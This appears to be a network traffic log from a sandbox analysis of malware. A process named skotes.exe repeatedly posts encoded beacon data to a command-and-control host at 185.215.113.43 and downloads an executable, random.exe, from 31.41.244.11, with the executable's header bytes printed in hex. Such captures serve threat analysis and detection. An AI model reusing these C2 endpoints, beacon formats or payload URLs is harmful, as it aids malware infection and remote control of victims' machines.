Dec 27, 2024 09:03:14.021147013 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FD660A926B464F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49868	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:19.777290106 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:03:22.191143036 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49879	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:23.820583105 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:03:25.289129019 CET	293	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 37 0d 0a 20 3c 63 3e 31 30 32 34 30 38 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 67 <c>1024087001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49880	31.41.244.11	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:25.419306040 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 27, 2024 09:03:26.744822025 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:26 GMT Content-Type: application/octet-stream Content-Length: 540672 Last-Modified: Mon, 23 Dec 2024 20:57:53 GMT Connection: keep-alive ETag: "6769ced1-84000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 57 5a 69 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 a6 02 00 00 d4 00 00 00 00 00 00 52 ef 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 08 00 00 06 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 48 03 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 03 00 70 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 0d 03 00 18 00 00 00 08 d0 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 0c 4a [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELWZig"R@@dH<pJl.text+ `.rdata\|@@.data%`J@.tls`@.relocpb@B.bss@
Dec 27, 2024 09:03:26.744858027 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:03:26.744895935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:03:26.744957924 CET	1236	IN	Data Raw: fd ff ff 00 00 00 00 81 bd d4 fd ff ff 00 01 00 00 0f 8d 6c 00 00 00 8b 85 d0 fd ff ff 8b 8d d4 fd ff ff 0f b6 8c 0d f8 fe ff ff 01 c8 8b 8d d4 fd ff ff 0f b6 8c 0d f8 fd ff ff 01 c8 b9 00 01 00 00 99 f7 f9 89 95 d0 fd ff ff 8d 85 f8 fe ff ff 03 Data Ascii: l$D$;E0$}vCC
Dec 27, 2024 09:03:26.744971037 CET	1236	IN	Data Raw: 89 e5 8b 45 08 5d c3 0f 1f 84 00 00 00 00 00 55 89 e5 57 56 81 ec 84 00 00 00 8b 45 08 a1 40 68 43 00 31 e8 89 45 f4 c7 45 d4 00 00 00 00 e8 0c fe ff ff 8b 45 08 8d 4d d4 89 4d cc 89 45 c8 a1 7c 75 43 00 89 04 24 c7 44 24 04 62 2d a5 2f e8 eb f8 Data Ascii: E]UWVE@hC1EEEMME\|uC$D$b-/EEM1$D$D$D$D$D$D$E9EEE1$D$JCE}E$JCEE
Dec 27, 2024 09:03:26.745018005 CET	672	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 50 89 4d fc 8b 4d fc e8 e1 11 00 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 18 8b 45 08 a1 40 68 43 00 31 e8 89 45 fc 89 4d f4 8b 4d f4 89 4d f0 8d 45 f8 8a 00 88 04 24 e8 f7 11 Data Ascii: UPMM]UE@hC1EMMME$E$$MU$D$M1E]UMMM\|M$]UPEEEEEEME]
Dec 27, 2024 09:03:26.745491982 CET	1236	IN	Data Raw: 24 e8 c5 22 00 00 89 44 24 28 8d 4c 24 58 e8 f8 23 00 00 8b 44 24 28 89 44 24 34 8b 4d 08 8b 01 8b 40 04 83 c0 00 01 c1 e8 2e 24 00 00 25 c0 01 00 00 83 f8 40 0f 84 b8 00 00 00 e9 00 00 00 00 8b 4c 24 38 8b 44 24 3c 83 e9 01 83 d8 00 0f 8c 9a 00 Data Ascii: $"D$(L$X#D$(D$4M@.$%@L$8D$<M@0$D$ M@$L$ $+$fD$&$ffD$&$D$#D$LD$LD$<D$8D$<R
Dec 27, 2024 09:03:26.745503902 CET	224	IN	Data Raw: 08 5d c3 cc cc cc cc 55 89 e5 50 89 4d fc 8b 4d fc e8 21 15 00 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 57 56 83 e4 f8 83 ec 48 8b 45 0c 8b 45 08 a1 40 68 43 00 31 e8 89 44 24 44 c7 44 24 38 00 00 00 00 8b 4d 0c 89 e0 89 08 Data Ascii: ]UPMM!]UWVHEE@hC1D$DD$8MvD$0D$4M@-M@uL$0D$4)1L$ D$$,M@<t$0T$4)L$
Dec 27, 2024 09:03:26.745595932 CET	1236	IN	Data Raw: 44 24 24 e9 00 00 00 00 8b 4c 24 20 8b 44 24 24 89 4c 24 28 89 44 24 2c 8b 45 08 8d 4c 24 3c 89 04 24 e8 20 1c 00 00 83 ec 04 8d 4c 24 3c e8 c4 1c 00 00 a8 01 0f 85 10 00 00 00 8b 44 24 38 83 c8 04 89 44 24 38 e9 1c 02 00 00 8b 4d 08 8b 01 8b 40 Data Ascii: D$$L$ D$$L$(D$,EL$<$ L$<D$8D$8M@J%@L$(D$,M@LD$M@L$$GfD$ffD$$D$
Dec 27, 2024 09:03:26.745665073 CET	224	IN	Data Raw: 83 ec 04 8b 45 f8 83 c4 0c 5d c2 04 00 cc cc cc cc cc cc 55 89 e5 83 ec 2c a1 40 68 43 00 31 e8 89 45 fc 89 4d e8 8b 4d e8 89 4d e4 e8 b2 01 00 00 a8 01 0f 85 0c 00 00 00 c7 04 24 01 00 00 00 e8 ab 97 00 00 8b 45 e4 8b 40 04 89 45 e0 e8 0d b3 00 Data Ascii: E]U,@hC1EMMM$E@EE9$EM@EME1$D$D${$EEEEMMHM1!,]
Dec 27, 2024 09:03:26.864659071 CET	1236	IN	Data Raw: cc cc cc 55 89 e5 50 89 4d fc 8b 4d fc e8 f1 00 00 00 a8 01 0f 85 05 00 00 00 e9 05 00 00 00 e8 ea 66 01 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 50 8d 0d 80 75 43 00 31 c0 c7 04 24 00 00 00 00 e8 08 00 00 00 5d c3 cc cc cc cc cc Data Ascii: UPMMf]UPuC1$]UPEMEM]UPuC1$]USWV EEEEEE]}u7MUPHMXxpPc ^_[]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49896	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:30.243303061 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 32 34 30 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1024087001&unit=246122658369
Dec 27, 2024 09:03:31.624007940 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49904	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:33.369349003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:03:34.700875998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49911	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:36.336441040 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:03:37.692069054 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49922	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:39.445704937 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:03:40.869311094 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49931	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:42.499738932 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:03:43.995934010 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49939	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:45.782517910 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:03:47.176275969 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49948	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:48.804933071 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FD660A926B464F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49960	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:54.557260990 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:03:55.952310085 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.11	49969	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:03:57.586400986 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:03:58.988954067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:03:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.11	49976	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:04:00.728796959 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:04:02.060585022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:04:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.11	49982	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:04:03.700413942 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:04:05.036007881 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.11	49992	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:04:06.775960922 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:04:09.199542046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:04:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.11	50002	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:04:10.840568066 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:04:12.224227905 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:04:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.11	50009	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:04:13.995203972 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:04:15.438868999 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:04:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.11	50014	185.215.113.43	80	7520	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:04:17.078140974 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 44 36 36 30 41 39 32 36 42 34 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FD660A926B464F71F462AE478222FFDED0F8E1F939F
